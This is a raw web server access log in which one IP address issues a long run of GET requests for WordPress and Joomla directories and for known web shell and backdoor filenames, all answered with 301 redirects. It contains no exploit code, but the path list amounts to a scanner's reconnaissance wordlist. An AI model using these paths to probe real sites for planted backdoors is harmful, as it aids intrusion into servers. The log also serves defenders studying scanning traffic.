/wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:07 -0400] "GET /wp-content/plugins/envato-market/inc/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:09 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:11 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:13 -0400] "GET /wp-content/themes/travel/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:14 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:16 -0400] "GET /img/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:18 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:19 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:20 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:21 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:23 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:26 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:27 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:28 -0400] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:29 -0400] "GET /wp-includes//wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:31 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:32 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:34 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:37 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:39 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:41 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:44 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:46 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:47 -0400] "GET /libraries/legacy/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:50 -0400] "GET /wp-content/uploads/2018/03/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:50 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:52 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:54 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:55 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:55 -0400] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:57 -0400] "GET /.wp-cli/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:57 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:58 -0400] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:00 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:02 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:03 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:04 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:07 -0400] "GET /.well-known//.well-known/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:11 -0400] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:18 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:22 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:29 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:33 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:38 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:40 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:44 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:51 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:52 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:55 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:58 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:00:59 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:01:02 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:01:05 -0400] "GET /wp-content/themes/ccx/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:01:08 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:01:19 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:01:29 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:01:39 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:01:46 -0400] "GET /wp-admin/maint/layout.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:01:51 -0400] "GET /wp-content/plugins/dmZcq9yohpy9bCw5Q9fNaH/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:01:57 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:02:03 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:02:06 -0400] "GET /wp-admin/css/file.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:02:11 -0400] "GET /wp-includes/ID3/2.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:02:18 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:02:24 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:02:27 -0400] "GET /cgi-bin/160263/wsoyanzv3.5enc.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:02:31 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:02:36 -0400] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:02:39 -0400] "GET /wp-includes/PHPMailer/Send.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:02:43 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:02:44 -0400] "GET /.well-known/idupkfqa.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:02:46 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:02:49 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:02:52 -0400] "GET /wp-content/uploads/wpr-addons/forms/63490fd7e6.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:02:54 -0400] "GET /wp-includes/html-api/aj.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:02:58 -0400] "GET /class.api.php999 HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:03:03 -0400] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:03:08 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:03:15 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:03:17 -0400] "GET /wp-content/wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:03:23 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:03:30 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:03:35 -0400] "GET /wp-admin/css/colors/ectoplasm/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:03:37 -0400] "GET /wp-content/plugins/oouxqal/ovacoczfz.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:03:41 -0400] "GET /wp-includes/Requests/vvEiCw.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:03:43 -0400] "GET /wp-includes/sitemaps/providers/buy.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:03:45 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:03:47 -0400] "GET /wp-admin/astab.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:03:52 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:03:54 -0400] "GET /.well-known/fmseuycg.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:03:56 -0400] "GET /wp-admin/includes/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:03:59 -0400] "GET /wp-includes/Text/Diff/gethostbyname.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:01 -0400] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:03 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:04 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:07 -0400] "GET /wp-admin/includes/class-wp-dxqJeZ.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:09 -0400] "GET /wp-content/uploads/index1.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:10 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:14 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:17 -0400] "GET /components/ovaxqhsbg.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:20 -0400] "GET /cwuvvcbn.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:22 -0400] "GET /rwvri.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:24 -0400] "GET /.well-known/acme-challenge/jmfi2.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:30 -0400] "GET /templates/beez3/1.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:35 -0400] "GET /wp-includes/images/media/code-text.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:38 -0400] "GET /wp-admin/includes/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:43 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:46 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:51 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:56 -0400] "GET /wp-content/themes/jobok/en.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:04:59 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:05:05 -0400] "GET /wp-content/themes/astra/inc/customizer/custom-controls/description/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:05:12 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:05:24 -0400] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:05:34 -0400] "GET /wp-content/plugins/bguoclz/ovaivknnc.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:05:43 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:05:55 -0400] "GET /wp/ab.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:06:03 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:06:16 -0400] "GET /.well-known/pki-validation/asyaddpi.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:06:26 -0400] "GET /wp-admin/js/widgets/class.api.php999 HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:06:36 -0400] "GET /tmp/.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:06:43 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:06:51 -0400] "GET /wp-includes/class-wp-session-href.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:00 -0400] "GET /wp-includes/js/tinymce/plugins/image/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:04 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:11 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:15 -0400] "GET /wp-admin/maint/01imunify.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:19 -0400] "GET /.well-known/pki-validation/3c2b55bd-fabd-419b-9718-66fbcf89acc5.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:21 -0400] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:25 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:30 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:31 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:32 -0400] "GET /.well-known/hdkmnjbd.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:36 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:39 -0400] "GET /S.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:41 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:46 -0400] "GET /wp-includes/goods.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:48 -0400] "GET /OLD-UP-ova.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:50 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:50 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:51 -0400] "GET /wp-includes/blocks/table/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:52 -0400] "GET /.well-known/pki-validation/65d9b536-ce5f-497e-8c82-8ee66c78d293.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:53 -0400] "GET /about/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:07:55 -0400] "GET /wordpress/wp-content/plugins/HHX6zQm6DLw3Ae6bxM4VOR/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:08:01 -0400] "GET /wordpress/wp-includes/css/dist/list-reusable-blocks/ovatthttr.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:08:10 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:08:18 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:08:26 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:08:32 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:08:39 -0400] "GET /ckgdg.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:08:45 -0400] "GET /wp-admin/maint/buy.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:08:49 -0400] "GET /wp-content/themes/seotheme/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:08:53 -0400] "GET /wp-includes/rest-api/search/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:08:57 -0400] "GET /.wp-db.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:03 -0400] "GET /wp-admin/includes/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:12 -0400] "GET /wp-includes/ID3/custom-file-4-1735114949.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:16 -0400] "GET /storage/filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:19 -0400] "GET /wp-content/uploads/SakMaDic.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:21 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:25 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:28 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:30 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:32 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:37 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:42 -0400] "GET /wp-admin/images/license.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:46 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:47 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:47 -0400] "GET /urcudivu.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:48 -0400] "GET /wp-content/plugins/erinyani/gebase.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:49 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:50 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:53 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:54 -0400] "GET /wp-includes/css/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:57 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:09:58 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:10 -0400] "GET /dhemowfu.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:19 -0400] "GET /uploads/683584ibal.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:23 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:24 -0400] "GET /.well-known/pki-validation/xp.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:25 -0400] "GET /wp-admin/51axqg6EDPQ.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:29 -0400] "GET /wp-admin/images/a2.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:33 -0400] "GET /wp-content/plugins/dywdsmx/ovailqjzg.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:37 -0400] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:40 -0400] "GET /wp_wol.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:42 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:44 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:46 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:49 -0400] "GET /wp-admin/network/file.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:50 -0400] "GET /wp-content/sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:51 -0400] "GET /wp-includes/images/crystal/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:52 -0400] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:54 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:10:57 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:04 -0400] "GET /wp-content/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:09 -0400] "GET /wp-includes/Requests/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:12 -0400] "GET /wp-content/uploads/id.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:18 -0400] "GET /.well-known/pki-validation/sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:21 -0400] "GET /templates/atomic/templates.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:24 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:28 -0400] "GET /wp-admin/images/wp-ksv1i.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:29 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:30 -0400] "GET /wp-includes/css/page.template.1735117956.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:31 -0400] "GET /sck.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:32 -0400] "GET /css/kraoqapd.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:34 -0400] "GET /sbijnocj.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:36 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:39 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:41 -0400] "GET /wp-content/uploads/wpr-addons/forms/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:43 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:46 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:49 -0400] "GET /wp-admin/js/a2.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:11:55 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:00 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:04 -0400] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:08 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:13 -0400] "GET /wp-admin/css/daren.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - 